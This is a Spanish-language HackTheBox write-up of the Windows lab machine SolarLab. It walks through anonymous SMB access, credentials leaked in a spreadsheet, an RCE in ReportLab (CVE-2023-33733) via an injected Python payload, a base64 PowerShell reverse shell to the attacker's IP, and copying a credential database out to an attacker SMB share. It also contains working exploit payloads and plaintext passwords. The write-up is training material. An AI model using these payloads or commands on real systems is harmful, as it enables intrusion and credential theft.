SolarLab – HackTheBox Link to heading

  • OS: Windows
  • Difficulty: Medium
  • Platform: HackTheBox

‘SolarLab’ Avatar


Resumen Link to heading

“SolarLab” es una máquina de dificultad Media de la plataforma HackTheBox. Un logueo anónimo a través del servicio SMB conlleva a la filtración de credenciales para una panel de logueo en la máquina víctima. Dentro de este panel de logueo, somos capaces de generar archivos PDF a través de una librería de Python llamada ReportLab. Esta librería es vulnerable a CVE-2023-33733, lo cual nos permite ejecución remota de comandos y así ganar acceso inicial a la máquina víctima. Una vez dentro, somos capaces de extraer credenciales de un archivo de base de datos lo cual nos permite pivotear a un nuevo usuario dentro de ésta. Este nuevo usuario puede leer archivos privilegiados del servicio Openfire. Dentro de estos archivos, tenemos una contraseña encriptada la cual somos capaces de desencriptar. Esta contraseña desencriptada es reutilizada por el usuario Administrator, ganando así control total sobre el sistema.


User / Usuario Link to heading

Empezando con un escaneo con Nmap muestra múltiples puertos TCP abiertos: 80 HTTP, 135 Microsoft RPC, 139 NetBios, 445 Server Message Block (SMB) y 6791 otro servicio HTTP:

❯ sudo nmap -sVC -p80,135,139,445,6791 10.10.11.16 -oN targeted

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-29 16:00 -04
Nmap scan report for 10.10.11.16
Host is up (0.20s latency).

PORT     STATE SERVICE       VERSION
80/tcp   open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://solarlab.htb/
|_http-server-header: nginx/1.24.0
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds?
6791/tcp open  http          nginx 1.24.0
|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
|_http-server-header: nginx/1.24.0
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2024-05-29T20:01:06
|_  start_date: N/A
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 57.64 seconds

Noto que incluso si esta es una máquina Windows, ésta se encuentra corriendo Nginx para los servicios expuestos en los puertos 80 y 6791.

Además, del escaneo de Nmap soy capaz de ver un dominio y un subdominio: solarlab.htb y report.solarlab.htb. De manera que agrego estos dominios a mi archivo /etc/hosts:

❯ echo '10.10.11.16 solarlab.htb report.solarlab.htb' | sudo tee -a /etc/hosts

10.10.11.16 solarlab.htb report.solarlab.htb

Visitando http://solarlab.htb muestra un mensaje acerca de un servicio de Mensajería Instantánea:

SolarLab 1

Muchos de los botones de esta página no funcionan, de manera que descarto esta página de momento.

Visitando http://report.solarlab.htb:6791 muestra un panel de login:

SolarLab 2

Probando credenciales por defecto como admin:admin, root:root, guest:guest no funciona. Distintos tipos de inyecciones tampoco funcionan. De manera que guardaré esta página para más tarde.

Ya en este putno decido mirar por información en otros servicios como, por ejemplo, SMB. Un rápido escaneo con NetExec nos retorna:

❯ netexec smb 10.10.11.16

SMB         10.10.11.16     445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)

Luego de jugar con algunas credenciales, una de ellas funciona: guest (y sin contraseña):

❯ netexec smb 10.10.11.16 -u 'guest' -p ''

SMB         10.10.11.16     445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         10.10.11.16     445    SOLARLAB         [+] solarlab\guest:

De hecho, podemos llegar a un resultado similar utilizando “cualquier” usuario (es decir, prácticamente anónimo), dado que si paso otro usuario aleatorio como random podemos seguir viendo los recursos compartidos como Documents:

❯ netexec smb 10.10.11.16 -u 'random' -p '' --shares

SMB         10.10.11.16     445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         10.10.11.16     445    SOLARLAB         [+] solarlab\random:
SMB         10.10.11.16     445    SOLARLAB         [*] Enumerated shares
SMB         10.10.11.16     445    SOLARLAB         Share           Permissions     Remark
SMB         10.10.11.16     445    SOLARLAB         -----           -----------     ------
SMB         10.10.11.16     445    SOLARLAB         ADMIN$                          Remote Admin
SMB         10.10.11.16     445    SOLARLAB         C$                              Default share
SMB         10.10.11.16     445    SOLARLAB         Documents       READ
SMB         10.10.11.16     445    SOLARLAB         IPC$            READ            Remote IPC

Podemos entonces usar smbmap para inspeccionar el recurso Documents:

❯ smbmap -H 10.10.11.16 -u 'guest' -p '' --no-banner

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.10.11.16:445 Name: solarlab.htb              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Documents                                               READ ONLY
        IPC$                                                    READ ONLY       Remote IPC

Y revisar los documentos dentro de este recurso compartido:

❯ smbmap -H 10.10.11.16 -u 'guest' -p '' --no-banner -r 'Documents'

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)

[+] IP: 10.10.11.16:445 Name: solarlab.htb              Status: Authenticated
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        Documents                                               READ ONLY
        ./Documents
        dw--w--w--                0 Fri Apr 26 10:47:14 2024    .
        dw--w--w--                0 Fri Apr 26 10:47:14 2024    ..
        dr--r--r--                0 Fri Apr 26 10:41:57 2024    concepts
        fr--r--r--              278 Fri Nov 17 09:34:54 2023    desktop.ini
        fr--r--r--            12793 Fri Nov 17 09:34:54 2023    details-file.xlsx
        dr--r--r--                0 Thu Nov 16 16:36:51 2023    My Music
        dr--r--r--                0 Thu Nov 16 16:36:51 2023    My Pictures
        dr--r--r--                0 Thu Nov 16 16:36:51 2023    My Videos
        fr--r--r--            37194 Fri Apr 26 10:44:18 2024    old_leave_request_form.docx
        IPC$                                                    READ ONLY       Remote IPC

Descargo estos archivos. Por ejemplo, para descargar el archivo details-file.xlsx ejecutamos:

❯ smbmap -H 10.10.11.16 -u 'guest' -p '' --no-banner --download 'Documents/details-file.xlsx'

[*] Detected 1 hosts serving SMB
[*] Established 1 SMB session(s)
[+] Starting download: Documents\details-file.xlsx (12793 bytes)
[+] File output to: /home/gunzf0x/HTB/HTBMachines/Medium/SolarLab/content/10.10.11.16-Documents_details-file.xlsx

Luego de descargar todos los archivos disponibles pasamos a leerlos. El archivo old_leave_request_form.docx (un archivo de Microsoft Word) muestra un Holiday Request Form (Formulario de Petición de Vacaciones):

SolarLab 3

y el archivo details-file.xlsx muestra algo de info interesante:

SolarLab 4

Hemos encontrado un archivo con usuario y contraseñas en texto plano. Guardamos estas credenciales en un archivo:

❯ cat potential_user_and_passwords.txt

Alexander.knight@gmail.com:al;ksdhfewoiuh
Kalexander:dkjafblkjadsfgl
Alexander.knight@gmail.com:d398sadsknr390
blake.byte:ThisCanB3typedeasily1@
AlexanderK:danenacia9234n
ClaudiaS:dadsfawe9dafkn

Noto que los usuarios AlexanderK y ClaudiaS, presentes en el archivo .xlsx, también están presentes en la página principal http://solarlab.htb:

SolarLab 5

Por tanto, basados en el mismo patrón, debería también de existir el usuario BlakeB (dado que encontramos el usuario blake.byte para la persona Blake Byte en el archivo leakeado).

De vuelta a http://report.solarlab.htb:6791 podemos intentar utilizar las credenciales utilizadas. Tal cual sospechábamos, una de ellas funciona: BlakeB:ThisCanB3typedeasily1@. Una vez dentro del panel podemos ver:

Solarlab 6

Yendo a Training Request puedo ver un formulario. Lo relleno con datos aleatorios, y como firma (Signature) agrego un archivo .png sin importancia:

SolarLab 7

Clickeando en Generate PDF genera un archivo PDF (algo totalmente inesperado).

SolarLab 8

Guardo este archivo PDF y lo analizo con la herramienta exiftool:

❯ exiftool generated_pdf.pdf

ExifTool Version Number         : 12.76
File Name                       : generated_pdf.pdf
Directory                       : .
File Size                       : 272 kB
File Modification Date/Time     : 2024:05:29 18:42:35-04:00
File Access Date/Time           : 2024:05:29 18:42:35-04:00
File Inode Change Date/Time     : 2024:05:29 18:42:35-04:00
File Permissions                : -rw-r--r--
File Type                       : PDF
File Type Extension             : pdf
MIME Type                       : application/pdf
PDF Version                     : 1.4
Linearized                      : No
Author                          : (anonymous)
Create Date                     : 2024:05:30 01:39:45-02:00
Creator                         : (unspecified)
Modify Date                     : 2024:05:30 01:39:45-02:00
Producer                        : ReportLab PDF Library - www.reportlab.com
Subject                         : (unspecified)
Title                           : (anonymous)
Trapped                         : False
Page Mode                       : UseNone
Page Count                      : 1

De la página web, y también de la metadata del PDF puedo ver algo: ReportLab. Buscando por what is reportlab pdf encontramos:

Información
ReportLab is a software library that lets you directly create documents in Adobe’s Portable Document Format (PDF) using the Python programming language. PDF is the global standard for electronic documents

En resumen, ReportLab es una librería de Python para generar archivos PDF.

Buscando por ReportLab exploit puedo ver una vulnerabilidad catalogada como CVE-2023-33733 la cual permite Remote Code Execution (RCE), o ejecución remota de comandos. Buscando por Proof of Concepts for para esta vulnerabilidad encuentro este breve reporte y este repositorio de Github. La PoC dada es:

from reportlab.platypus import SimpleDocTemplate, Paragraph
from io import BytesIO
stream_file = BytesIO()
content = []

def add_paragraph(text, content):
    """ Add paragraph to document content"""
    content.append(Paragraph(text))

def get_document_template(stream_file: BytesIO):
    """ Get SimpleDocTemplate """
    return SimpleDocTemplate(stream_file)

def build_document(document, content, **props):
    """ Build pdf document based on elements added in `content`"""
    document.build(content, **props)



doc = get_document_template(stream_file)
#
# THE INJECTED PYTHON CODE THAT IS PASSED TO THE COLOR EVALUATOR
#[
#    [
#        getattr(pow, Word('__globals__'))['os'].system('touch /tmp/exploited')
#        for Word in [
#            orgTypeFun(
#                'Word',
#                (str,),
#                {
#                    'mutated': 1,
#                    'startswith': lambda self, x: False,
#                    '__eq__': lambda self, x: self.mutate()
#                    and self.mutated < 0
#                    and str(self) == x,
#                    'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)},
#                    '__hash__': lambda self: hash(str(self)),
#                },
#            )
#        ]
#    ]
#    for orgTypeFun in [type(type(1))]
#]

add_paragraph("""
            <para>
              <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('touch /tmp/exploited') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
                </font>
            </para>""", content)
build_document(doc, content)

Donde puedo ver que exploit en este caso es el simple comando touch /tmp/exploited para crear un archivo.

De vuelta al sitio report.solarlab.htb trato de generar un nuevo archivo PDF, pero esta vez lo intercepto con Burpsuite, de donde obtenemos la petición:

POST /trainingRequest HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------12561648027887354952763904803
Content-Length: 55762
Origin: http://report.solarlab.htb:6791
DNT: 1
Connection: close
Referer: http://report.solarlab.htb:6791/trainingRequest
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.Zle7GA.RCZWHDxp4nba5j3_A4p8e132hy4
Upgrade-Insecure-Requests: 1

-----------------------------12561648027887354952763904803
Content-Disposition: form-data; name="time_interval"

2024-05-29 to 2024-05-30
-----------------------------12561648027887354952763904803
Content-Disposition: form-data; name="training_request"

Cybersecurity Awareness
-----------------------------12561648027887354952763904803
Content-Disposition: form-data; name="signature"; filename="gengar_image.jpg"
Content-Type: image/jpeg

<SNIP>

SolarLab 9

Para probar si el script funciona, trataré de enviar un ping a mi máquina de atacante. Empiezo un listener con tcpdump por trazas ICMP en la interfaz de red tun0 (la asignada por la VPN de HTB):

❯ sudo tcpdump -ni tun0 icmp

e inyectamos el siguiente código:

<para>
    <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('ping -n 1 10.10.16.6') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
    </font>
</para>

donde 10.10.16.6 es mi IP de atacante.

Luego, en la petición con Burpsuite, pongo el payload en el campo del parámetro training_request. De manera que borro el string/palabras Cybersecurity Awareness y las reemplazo por el payload mencionado. Así, la petición se ve ahora como:

POST /trainingRequest HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------407089719225311833713402929686
Content-Length: 56226
Origin: http://report.solarlab.htb:6791
DNT: 1
Connection: close
Referer: http://report.solarlab.htb:6791/trainingRequest
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.Zle97Q.QtDih2IU5O3KCk4sssOHFefbMs0
Upgrade-Insecure-Requests: 1

-----------------------------407089719225311833713402929686
Content-Disposition: form-data; name="time_interval"

2024-05-29 to 2024-05-30
-----------------------------407089719225311833713402929686
Content-Disposition: form-data; name="training_request"

<para>
    <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('ping -n 1 10.10.16.6') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
    </font>
</para>
-----------------------------407089719225311833713402929686
Content-Disposition: form-data; name="signature"; filename="gengar_image.jpg"
Content-Type: image/jpeg

<SNIP>

SolarLab 10

Podemos enviar el payload y en mi listener con tcpdump obtengo algo:

❯ sudo tcpdump -ni tun0 icmp

tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
19:45:31.010551 IP 10.10.11.16 > 10.10.16.6: ICMP echo request, id 1, seq 1, length 40
19:45:31.010566 IP 10.10.16.6 > 10.10.11.16: ICMP echo reply, id 1, seq 1, length 40

Funcionó. Hemos logrado un Remote Code Execution (RCE), o ejecución remota de comandos.

Nota
Algo importante a mencionar es que si cuando enviamos el payload el servidor nos retorna el código de estado 502 Internal Server Error esto significa que la inyección puede haber funcionado. En cambio, si la petición retorna código 302 Found esto puede significar que nuestra sesión actual ha caducado; por lo que necesitamos re-loguear en el panel de http://report.solarlab.htb:6791 y repetir los pasos mencionados.

Continuando, para crear un payload para Windows usaré la página Reverse Shell Generator (https://www.revshells.com/). Pongo allí mi IP de atacante, y como puerto elijo 443 el cual será el puerto por el cual me pondré en esucha con netcat. Elijo como payload Powershell #3 (Base64), de manera que en mi caso nuestro payload se ve como:

<para>
    <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
    </font>
</para>

Empiezo un listener con netcat, junto con rlwrap, y envío el payload a través de Burpsuite. En mi caso la petición con el payload se ve como:

POST /trainingRequest HTTP/1.1
Host: report.solarlab.htb:6791
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------31991831217370751261817680947
Content-Length: 55762
Origin: http://report.solarlab.htb:6791
DNT: 1
Connection: close
Referer: http://report.solarlab.htb:6791/trainingRequest
Cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.ZlfBhA.6inknZIdzhImSVvVwMCu88gANp4
Upgrade-Insecure-Requests: 1

-----------------------------31991831217370751261817680947
Content-Disposition: form-data; name="time_interval"

2024-05-29 to 2024-05-30
-----------------------------31991831217370751261817680947
Content-Disposition: form-data; name="training_request"

<para>
    <font color="[ [ getattr(pow,Word('__globals__'))['os'].system('powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQAwAC4AMQAwAC4AMQA2AC4ANgAiACwANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA') for Word in [orgTypeFun('Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: False, '__eq__': lambda self,x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: {setattr(self, 'mutated', self.mutated - 1)}, '__hash__': lambda self: hash(str(self)) })] ] for orgTypeFun in [type(type(1))] ] and 'red'">
                exploit
    </font>
</para>

-----------------------------31991831217370751261817680947
Content-Disposition: form-data; name="signature"; filename="gengar_image.jpg"
Content-Type: image/jpeg

<SNIP>

SolarLab 11

y en mi listener con netcat obtengo una shell como el usuario blake:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.16] 50896
whoami
solarlab\blake
PS C:\Users\blake\Documents\app>

Podemos leer la flag de usuario en el Desktop del usuario blake.


Root Link to heading

Revisando qué es lo que tenemos en el directorio C:\Users\blake\Documents\app, podemos ver algunos archivos:

PS C:\Users\blake\Documents\app> dir


    Directory: C:\Users\blake\Documents\app


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----          5/2/2024  12:30 PM                instance
d-----         5/30/2024   3:03 AM                reports
d-----        11/17/2023  10:01 AM                static
d-----        11/17/2023  10:01 AM                templates
d-----         5/30/2024   3:08 AM                __pycache__
-a----        11/17/2023   9:59 AM           1278 app.py
-a----        11/16/2023   2:17 PM            315 models.py
-a----        11/18/2023   6:59 PM           7790 routes.py
-a----          5/2/2024   6:26 PM           3352 utils.py

Revisando el contenido de estos archivos con el comando type app.py muestra un script de Python para correr un servidor usando Flask:

# app.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from flask_login import LoginManager
import os

app = Flask(__name__)
app.secret_key = os.urandom(64)
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///users.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['UPLOAD_FOLDER'] = 'c:\\users\\blake\\documents\\app\\reports'
login_manager = LoginManager(app)
login_manager.login_view = 'login'

# Import other modules with routes and configurations
from routes import *
from models import User, db
from utils import create_database

db.init_app(app)

with app.app_context():
   create_database()

# Initialize Flask-Login
@login_manager.user_loader
def load_user(user_id):
    return User.query.get(int(user_id))

app.route('/')(index)
app.route('/login', methods=['GET', 'POST'])(login)
app.route('/logout')(logout)
app.route('/dashboard')(dashboard)
app.route('/leaveRequest', methods=['GET', 'POST'])(leaveRequest)
app.route('/trainingRequest', methods=['GET', 'POST'])(trainingRequest)
app.route('/homeOfficeRequest', methods=['GET', 'POST'])(homeOfficeRequest)
app.route('/travelApprovalForm', methods=['GET', 'POST'])(travelApprovalForm)

if __name__ == "__main__":
    app.run(host="127.0.0.1", port=5000, debug=True, threaded=True)

De donde puedo ver que está cargando data de una base de datos SQLite.

Adicionalmente, chequeando models.py tenemos:

# models.py
from flask_sqlalchemy import SQLAlchemy
from flask_login import UserMixin

db = SQLAlchemy()

class User(UserMixin, db.Model):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(50), unique=True, nullable=False)
    password = db.Column(db.String(100), nullable=False)

donde puedo ver que las variables username y password están siendo importadas.

Buscando por archivos llamados users.db, el cual es el nombre del archivo siendo llamado por app.py, puedo ver dos de ellas:

PS C:\Users\blake\Documents\app> cmd.exe /c dir /b /s *users.db

C:\Users\blake\Documents\app\instance\users.db
C:\Users\blake\Documents\app\reports\instance\users.db

Pasaré el primer archivo users.db en mi máquina de atacante. Dedo que el servicio SMB está corriendo, usemos este servicio para pasarnos archivos. En nuestra máquina de atacante usaremos smbserver.py de Impacket y empezamos una carpeta/directorio compartido llamado smb2Folder con las credenciales gunzf0x:gunzf0x123:

❯ python3 /usr/share/doc/python3-impacket/examples/smbserver.py smb2Folder $(pwd) -smb2support -username 'gunzf0x' -password 'gunzf0x123'

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
<SNIP>

En la máquina víctima establecemos una conexión a nuestro directorio compartido y, luego, copiamos el archivo deseado en éste:

PS C:\Users\blake\Documents\app> cmd.exe /c net use \\10.10.16.6\smb2Folder /u:gunzf0x gunzf0x123

The command completed successfully.

PS C:\Users\blake\Documents\app> copy C:\Users\blake\Documents\app\instance\users.db \\10.10.16.6\smb2Folder\

Finalmente, “borramos” esta conexión:

PS C:\Users\blake\Documents\app> cmd.exe /c net use /d \\10.10.16.6\smb2Folder

\\10.10.16.6\smb2Folder was deleted successfully.

Luego, en nuestra máquina de atacante, usamos SQLite junto con el comando .dump para extraer toda la info dentro del archivo traspasado:

❯ sqlite3 users.db

SQLite version 3.45.1 2024-01-30 16:01:20
Enter ".help" for usage hints.

sqlite> .dump

PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE user (
        id INTEGER NOT NULL,
        username VARCHAR(50) NOT NULL,
        password VARCHAR(100) NOT NULL,
        PRIMARY KEY (id),
        UNIQUE (username)
);
INSERT INTO user VALUES(1,'blakeb','ThisCanB3typedeasily1@');
INSERT INTO user VALUES(2,'claudias','007poiuytrewq');
INSERT INTO user VALUES(3,'alexanderk','HotP!fireguard');
COMMIT;

sqlite> select * from user;

1|blakeb|ThisCanB3typedeasily1@
2|claudias|007poiuytrewq
3|alexanderk|HotP!fireguard

Tenemos 3 usuarios y contraseñas: blakeb:ThisCanB3typedeasily1@ (la cual ya habíamos hallado previamente), claudias:007poiuytrewq y alexanderk:HotP!fireguard.

Como sea, si revisamos qué usuarios tenemos en la máquina víctima (corriendo net user), no puedo ver a los usuarios claudias o alexanderk; en su lugar, solamente puedo ver un usuario llamado openfire. Esto me hace pensar que el servicio Openfire está corriendo en esta máquina.

Información
Openfire is a real time collaboration (RTC) server licensed under the Open Source Apache License. It uses the only widely adopted open protocol for instant messaging, XMPP (also called Jabber). Openfire is incredibly easy to setup and administer, but offers rock-solid security and performance

En corto, Openfire es una herramienta para mensajería instantánea.

Hemos visto el servicio Openfire previamente en la máquina HTB Jab. Dado que tenemos algunas contraseñas, veremos si alguna de ellas funciona para el usuario openfire. Para esto, usaré NetExec con el servicio SMB y veré si alguna credencial es válida para este servicio con el usuario openfire. Guardo las contraseñas encontradas en un archivo y, luego, procedo a correr en mi máquina de atacante:

❯ netexec smb 10.10.11.16 -u 'openfire' -p sqlite_found_passwords.txt

SMB         10.10.11.16     445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
SMB         10.10.11.16     445    SOLARLAB         [-] solarlab\openfire:ThisCanB3typedeasily1@ STATUS_LOGON_FAILURE
SMB         10.10.11.16     445    SOLARLAB         [-] solarlab\openfire:007poiuytrewq STATUS_LOGON_FAILURE
SMB         10.10.11.16     445    SOLARLAB         [+] solarlab\openfire:HotP!fireguard

